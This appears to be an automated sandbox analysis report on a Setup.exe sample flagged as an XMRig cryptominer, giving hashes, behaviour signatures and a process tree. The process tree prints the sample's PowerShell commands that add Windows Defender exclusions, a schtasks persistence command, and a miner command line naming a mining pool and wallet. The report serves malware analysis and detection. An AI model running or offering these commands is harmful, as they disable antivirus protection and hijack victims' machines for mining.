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Analysis
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max time kernel
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max time network
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platform
windows10-ltsc 2021_x64 -
resource
win10ltsc2021-20241211-en -
resource tags
arch:x64arch:x86image:win10ltsc2021-20241211-enlocale:en-usos:windows10-ltsc 2021-x64system -
submitted
21/12/2024, 17:40
Static task
static1
Behavioral task
behavioral1
Sample
Setup.exe
Resource
win7-20240903-en
Behavioral task
behavioral2
Sample
Setup.exe
Resource
win10v2004-20241007-en
Behavioral task
behavioral3
Sample
Setup.exe
Resource
win10ltsc2021-20241211-en
General
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Target
Setup.exe
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Size
29.8MB
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MD5
f39a0615ad5482c3ffd8f46baeac3ac3
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SHA1
e4cd77ab330f734e7a5253c07c559e8c92d88c35
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SHA256
643494eec31570d49b4b101281ae8d5c58ebcb7311ccece8d1c478fefbadde9b
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SHA512
fecb43e388dd09421083554def45d750ae848cacd061c078a7a5e02820edd3ca761240fd0a6ec2672223afe07b887d6d789f7ae9c65f40b9437196427f001481
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SSDEEP
786432:PkvEnDem3vOYqVx9BvEiI8hXcclLOhiKw+HSD:svEn6mfN4xvcehFs7SD
Malware Config
Signatures
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Xmrig family
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XMRig Miner payload 8 IoCs
resource yara_rule behavioral3/memory/4828-63-0x0000000140000000-0x0000000140786000-memory.dmp xmrig behavioral3/memory/4828-61-0x0000000140000000-0x0000000140786000-memory.dmp xmrig behavioral3/memory/4828-65-0x0000000140000000-0x0000000140786000-memory.dmp xmrig behavioral3/memory/4828-69-0x0000000140000000-0x0000000140786000-memory.dmp xmrig behavioral3/memory/4828-68-0x0000000140000000-0x0000000140786000-memory.dmp xmrig behavioral3/memory/4828-67-0x0000000140000000-0x0000000140786000-memory.dmp xmrig behavioral3/memory/4828-66-0x0000000140000000-0x0000000140786000-memory.dmp xmrig behavioral3/memory/4828-84-0x0000000140000000-0x0000000140786000-memory.dmp xmrig -
Command and Scripting Interpreter: PowerShell 1 TTPs 4 IoCs
Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.
pid Process 4780 powershell.exe 4484 powershell.exe 1092 powershell.exe 736 powershell.exe -
Executes dropped EXE 2 IoCs
pid Process 2508 services64.exe 2996 sihost64.exe -
Drops file in System32 directory 3 IoCs
description ioc Process File created C:\Windows\system32\services64.exe conhost.exe File created C:\Windows\system32\Microsoft\Libs\sihost64.exe conhost.exe File created C:\Windows\system32\Microsoft\Libs\WR64.sys conhost.exe -
Suspicious use of SetThreadContext 1 IoCs
description pid Process procid_target PID 1228 set thread context of 4828 1228 conhost.exe 107 -
Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
pid Process 2116 schtasks.exe -
Suspicious behavior: EnumeratesProcesses 64 IoCs
pid Process 2032 conhost.exe 4780 powershell.exe 4780 powershell.exe 4484 powershell.exe 4484 powershell.exe 1228 conhost.exe 1228 conhost.exe 1092 powershell.exe 1092 powershell.exe 4828 explorer.exe 4828 explorer.exe 736 powershell.exe 736 powershell.exe 4828 explorer.exe 4828 explorer.exe 4828 explorer.exe 4828 explorer.exe 4828 explorer.exe 4828 explorer.exe 4828 explorer.exe 4828 explorer.exe 4828 explorer.exe 4828 explorer.exe 4828 explorer.exe 4828 explorer.exe 4828 explorer.exe 4828 explorer.exe 4828 explorer.exe 4828 explorer.exe 4828 explorer.exe 4828 explorer.exe 4828 explorer.exe 4828 explorer.exe 4828 explorer.exe 4828 explorer.exe 4828 explorer.exe 4828 explorer.exe 4828 explorer.exe 4828 explorer.exe 4828 explorer.exe 4828 explorer.exe 4828 explorer.exe 4828 explorer.exe 4828 explorer.exe 4828 explorer.exe 4828 explorer.exe 4828 explorer.exe 4828 explorer.exe 4828 explorer.exe 4828 explorer.exe 4828 explorer.exe 4828 explorer.exe 4828 explorer.exe 4828 explorer.exe 4828 explorer.exe 4828 explorer.exe 4828 explorer.exe 4828 explorer.exe 4828 explorer.exe 4828 explorer.exe 4828 explorer.exe 4828 explorer.exe 4828 explorer.exe 4828 explorer.exe -
Suspicious use of AdjustPrivilegeToken 64 IoCs
description pid Process Token: SeDebugPrivilege 2032 conhost.exe Token: SeDebugPrivilege 4780 powershell.exe Token: SeIncreaseQuotaPrivilege 4780 powershell.exe Token: SeSecurityPrivilege 4780 powershell.exe Token: SeTakeOwnershipPrivilege 4780 powershell.exe Token: SeLoadDriverPrivilege 4780 powershell.exe Token: SeSystemProfilePrivilege 4780 powershell.exe Token: SeSystemtimePrivilege 4780 powershell.exe Token: SeProfSingleProcessPrivilege 4780 powershell.exe Token: SeIncBasePriorityPrivilege 4780 powershell.exe Token: SeCreatePagefilePrivilege 4780 powershell.exe Token: SeBackupPrivilege 4780 powershell.exe Token: SeRestorePrivilege 4780 powershell.exe Token: SeShutdownPrivilege 4780 powershell.exe Token: SeDebugPrivilege 4780 powershell.exe Token: SeSystemEnvironmentPrivilege 4780 powershell.exe Token: SeRemoteShutdownPrivilege 4780 powershell.exe Token: SeUndockPrivilege 4780 powershell.exe Token: SeManageVolumePrivilege 4780 powershell.exe Token: 33 4780 powershell.exe Token: 34 4780 powershell.exe Token: 35 4780 powershell.exe Token: 36 4780 powershell.exe Token: SeDebugPrivilege 4484 powershell.exe Token: SeIncreaseQuotaPrivilege 4484 powershell.exe Token: SeSecurityPrivilege 4484 powershell.exe Token: SeTakeOwnershipPrivilege 4484 powershell.exe Token: SeLoadDriverPrivilege 4484 powershell.exe Token: SeSystemProfilePrivilege 4484 powershell.exe Token: SeSystemtimePrivilege 4484 powershell.exe Token: SeProfSingleProcessPrivilege 4484 powershell.exe Token: SeIncBasePriorityPrivilege 4484 powershell.exe Token: SeCreatePagefilePrivilege 4484 powershell.exe Token: SeBackupPrivilege 4484 powershell.exe Token: SeRestorePrivilege 4484 powershell.exe Token: SeShutdownPrivilege 4484 powershell.exe Token: SeDebugPrivilege 4484 powershell.exe Token: SeSystemEnvironmentPrivilege 4484 powershell.exe Token: SeRemoteShutdownPrivilege 4484 powershell.exe Token: SeUndockPrivilege 4484 powershell.exe Token: SeManageVolumePrivilege 4484 powershell.exe Token: 33 4484 powershell.exe Token: 34 4484 powershell.exe Token: 35 4484 powershell.exe Token: 36 4484 powershell.exe Token: SeDebugPrivilege 1228 conhost.exe Token: SeDebugPrivilege 1092 powershell.exe Token: SeIncreaseQuotaPrivilege 1092 powershell.exe Token: SeSecurityPrivilege 1092 powershell.exe Token: SeTakeOwnershipPrivilege 1092 powershell.exe Token: SeLoadDriverPrivilege 1092 powershell.exe Token: SeSystemProfilePrivilege 1092 powershell.exe Token: SeSystemtimePrivilege 1092 powershell.exe Token: SeProfSingleProcessPrivilege 1092 powershell.exe Token: SeIncBasePriorityPrivilege 1092 powershell.exe Token: SeCreatePagefilePrivilege 1092 powershell.exe Token: SeBackupPrivilege 1092 powershell.exe Token: SeRestorePrivilege 1092 powershell.exe Token: SeShutdownPrivilege 1092 powershell.exe Token: SeDebugPrivilege 1092 powershell.exe Token: SeSystemEnvironmentPrivilege 1092 powershell.exe Token: SeRemoteShutdownPrivilege 1092 powershell.exe Token: SeUndockPrivilege 1092 powershell.exe Token: SeManageVolumePrivilege 1092 powershell.exe -
Suspicious use of WriteProcessMemory 46 IoCs
description pid Process procid_target PID 820 wrote to memory of 2032 820 Setup.exe 89 PID 820 wrote to memory of 2032 820 Setup.exe 89 PID 820 wrote to memory of 2032 820 Setup.exe 89 PID 2032 wrote to memory of 1452 2032 conhost.exe 90 PID 2032 wrote to memory of 1452 2032 conhost.exe 90 PID 1452 wrote to memory of 4780 1452 cmd.exe 92 PID 1452 wrote to memory of 4780 1452 cmd.exe 92 PID 2032 wrote to memory of 3392 2032 conhost.exe 93 PID 2032 wrote to memory of 3392 2032 conhost.exe 93 PID 3392 wrote to memory of 2116 3392 cmd.exe 95 PID 3392 wrote to memory of 2116 3392 cmd.exe 95 PID 1452 wrote to memory of 4484 1452 cmd.exe 97 PID 1452 wrote to memory of 4484 1452 cmd.exe 97 PID 2032 wrote to memory of 2856 2032 conhost.exe 98 PID 2032 wrote to memory of 2856 2032 conhost.exe 98 PID 2856 wrote to memory of 2508 2856 cmd.exe 100 PID 2856 wrote to memory of 2508 2856 cmd.exe 100 PID 2508 wrote to memory of 1228 2508 services64.exe 102 PID 2508 wrote to memory of 1228 2508 services64.exe 102 PID 2508 wrote to memory of 1228 2508 services64.exe 102 PID 1228 wrote to memory of 928 1228 conhost.exe 103 PID 1228 wrote to memory of 928 1228 conhost.exe 103 PID 928 wrote to memory of 1092 928 cmd.exe 105 PID 928 wrote to memory of 1092 928 cmd.exe 105 PID 1228 wrote to memory of 2996 1228 conhost.exe 106 PID 1228 wrote to memory of 2996 1228 conhost.exe 106 PID 1228 wrote to memory of 4828 1228 conhost.exe 107 PID 1228 wrote to memory of 4828 1228 conhost.exe 107 PID 1228 wrote to memory of 4828 1228 conhost.exe 107 PID 1228 wrote to memory of 4828 1228 conhost.exe 107 PID 1228 wrote to memory of 4828 1228 conhost.exe 107 PID 1228 wrote to memory of 4828 1228 conhost.exe 107 PID 1228 wrote to memory of 4828 1228 conhost.exe 107 PID 1228 wrote to memory of 4828 1228 conhost.exe 107 PID 1228 wrote to memory of 4828 1228 conhost.exe 107 PID 1228 wrote to memory of 4828 1228 conhost.exe 107 PID 1228 wrote to memory of 4828 1228 conhost.exe 107 PID 1228 wrote to memory of 4828 1228 conhost.exe 107 PID 1228 wrote to memory of 4828 1228 conhost.exe 107 PID 1228 wrote to memory of 4828 1228 conhost.exe 107 PID 1228 wrote to memory of 4828 1228 conhost.exe 107 PID 928 wrote to memory of 736 928 cmd.exe 108 PID 928 wrote to memory of 736 928 cmd.exe 108 PID 2996 wrote to memory of 1216 2996 sihost64.exe 109 PID 2996 wrote to memory of 1216 2996 sihost64.exe 109 PID 2996 wrote to memory of 1216 2996 sihost64.exe 109 -
Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
Processes
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C:\Users\Admin\AppData\Local\Temp\Setup.exe"C:\Users\Admin\AppData\Local\Temp\Setup.exe"1⤵
- Suspicious use of WriteProcessMemory
PID:820 -
C:\Windows\System32\conhost.exe"C:\Windows\System32\conhost.exe" "C:\Users\Admin\AppData\Local\Temp\Setup.exe"2⤵
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2032 -
C:\Windows\System32\cmd.exe"cmd" cmd /c powershell -Command "Add-MpPreference -ExclusionPath @(($pwd).path, $env:UserProfile,$env:AppData,$env:Temp,$env:SystemRoot,$env:HomeDrive,$env:SystemDrive) -Force" & powershell -Command "Add-MpPreference -ExclusionExtension @('exe','dll') -Force" & exit3⤵
- Suspicious use of WriteProcessMemory
PID:1452 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "Add-MpPreference -ExclusionPath @(($pwd).path, $env:UserProfile,$env:AppData,$env:Temp,$env:SystemRoot,$env:HomeDrive,$env:SystemDrive) -Force"4⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4780
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "Add-MpPreference -ExclusionExtension @('exe','dll') -Force"4⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4484
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C:\Windows\System32\cmd.exe"cmd" /c schtasks /create /f /sc onlogon /rl highest /tn "services64" /tr "C:\Windows\system32\services64.exe"3⤵
- Suspicious use of WriteProcessMemory
PID:3392 -
C:\Windows\system32\schtasks.exeschtasks /create /f /sc onlogon /rl highest /tn "services64" /tr "C:\Windows\system32\services64.exe"4⤵
- Scheduled Task/Job: Scheduled Task
PID:2116
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C:\Windows\System32\cmd.exe"cmd" cmd /c "C:\Windows\system32\services64.exe"3⤵
- Suspicious use of WriteProcessMemory
PID:2856 -
C:\Windows\system32\services64.exeC:\Windows\system32\services64.exe4⤵
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
PID:2508 -
C:\Windows\System32\conhost.exe"C:\Windows\System32\conhost.exe" "C:\Windows\system32\services64.exe"5⤵
- Drops file in System32 directory
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1228 -
C:\Windows\System32\cmd.exe"cmd" cmd /c powershell -Command "Add-MpPreference -ExclusionPath @(($pwd).path, $env:UserProfile,$env:AppData,$env:Temp,$env:SystemRoot,$env:HomeDrive,$env:SystemDrive) -Force" & powershell -Command "Add-MpPreference -ExclusionExtension @('exe','dll') -Force" & exit6⤵
- Suspicious use of WriteProcessMemory
PID:928 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "Add-MpPreference -ExclusionPath @(($pwd).path, $env:UserProfile,$env:AppData,$env:Temp,$env:SystemRoot,$env:HomeDrive,$env:SystemDrive) -Force"7⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1092
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "Add-MpPreference -ExclusionExtension @('exe','dll') -Force"7⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
PID:736
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C:\Windows\system32\Microsoft\Libs\sihost64.exe"C:\Windows\system32\Microsoft\Libs\sihost64.exe"6⤵
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
PID:2996 -
C:\Windows\System32\conhost.exe"C:\Windows\System32\conhost.exe" "/sihost64"7⤵PID:1216
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C:\Windows\explorer.exeC:\Windows\explorer.exe --cinit-find-x -B --algo="rx/0" --asm=auto --cpu-memory-pool=1 --randomx-mode=auto --randomx-no-rdmsr --cuda-bfactor-hint=12 --cuda-bsleep-hint=100 --url=pool.hashvault.pro:80 --user=44uwibUE5EF8oiYGZWhDJ6YxTYoL8YgzyYw5ofRojJrtZydAndawV157eimKXonkgsi8ZNdvRq22xC6dmxwmq2tpQ4nTUDe --pass= --cpu-max-threads-hint=20 --cinit-stealth-targets="+iU/trnPCTLD3p+slbva5u4EYOS6bvIPemCHGQx2WRUcnFdomWh6dhl5H5KbQCjp6yCYlsFu5LR1mi7nQAy56B+5doUwurAPvCael2sR/N4=" --cinit-stealth6⤵
- Suspicious behavior: EnumeratesProcesses
PID:4828
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Network
MITRE ATT&CK Enterprise v15
Replay Monitor
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Downloads
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Filesize
646B
MD5f1f8f1d120605ece04227ac8da444fdc
SHA1ea720e5f0d4f3d245b2e5d14adca56a0308877af
SHA256d8dd4ae08192be8cc92720718dd718a31e768c811bef74fff6e146cb4494e694
SHA51223ba3ab5646431678e29c361d5073e6e81667903aea4c51b6e61650772b3c9d50ca86d18f6a8277c7f29a98c58892c2eb8e2caf63d1ea3953d0e32700bfea77a
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Filesize
3KB
MD53eb3833f769dd890afc295b977eab4b4
SHA1e857649b037939602c72ad003e5d3698695f436f
SHA256c485a6e2fd17c342fca60060f47d6a5655a65a412e35e001bb5bf88d96e6e485
SHA512c24bbc8f278478d43756807b8c584d4e3fb2289db468bc92986a489f74a8da386a667a758360a397e77e018e363be8912ac260072fa3e31117ad0599ac749e72
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Filesize
1KB
MD560b3262c3163ee3d466199160b9ed07d
SHA1994ece4ea4e61de0be2fdd580f87e3415f9e1ff6
SHA256e3b30f16d41f94cba2b8a75f35c91ae7418465abfbfe5477ec0551d1952b2fdb
SHA512081d2015cb94477eb0fbc38f44b6d9b4a3204fb3ad0b7d0e146a88ab4ab9a0d475207f1adae03f4a81ccc5beb7568dc8be1249f69e32fe56efd9ee2f6ee3b1af
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Filesize
1KB
MD5a98ec4362426e1e26e8bfa91203b82be
SHA119e2af11d1fec160e73efeaeca48adf210ec3dcc
SHA2560a1e11c2b3be2d92039096bffca9e85827d526f69436d86faccdb5c81873b03e
SHA512932e7511430d29f6c617863af336900e0ff29458704c85782c685876ae005829ada5b5fbcea454f70cbce7c9714eadbe3372b6eeab21ab9696f554da1b2e5218
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Filesize
1KB
MD5690c2bd2f10cc1857a717259b1bac1cb
SHA1431d633e63f5ea8f7551a0a1e5a0fe421527fe5d
SHA256c4bd3b662c1de00edd77cd43c3a47a68f272955f6bb4a35a1548ff0f29ed04d7
SHA512045e3aa227b81f3f42430aee77e63efa68d7de087ddd3ae10c855a2b6c56a9144e452109ac267715615d8a12145c6072226e75f6e8f855e9aa08a8405a8a5cd5
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Filesize
60B
MD5d17fe0a3f47be24a6453e9ef58c94641
SHA16ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA25696ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA5125b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
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Filesize
32KB
MD5554b19e8d2cd3728ec5557c08cd2151b
SHA17f22b80a8b3a141a93735f4423fda76f914dd92c
SHA25653b161d512a4cc0e7ad58be8bb5155e37399afe56cd7df38e9f0c4f09bb1cf56
SHA51246103c9ffb4483107ad0f5b91aba14464747a75a058d2610714f7155e0c014b094de0fb7f40d1515a008f70763131a4b7964d739a2e4381ac38a47755f6938a0
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Filesize
29.8MB
MD5f39a0615ad5482c3ffd8f46baeac3ac3
SHA1e4cd77ab330f734e7a5253c07c559e8c92d88c35
SHA256643494eec31570d49b4b101281ae8d5c58ebcb7311ccece8d1c478fefbadde9b
SHA512fecb43e388dd09421083554def45d750ae848cacd061c078a7a5e02820edd3ca761240fd0a6ec2672223afe07b887d6d789f7ae9c65f40b9437196427f001481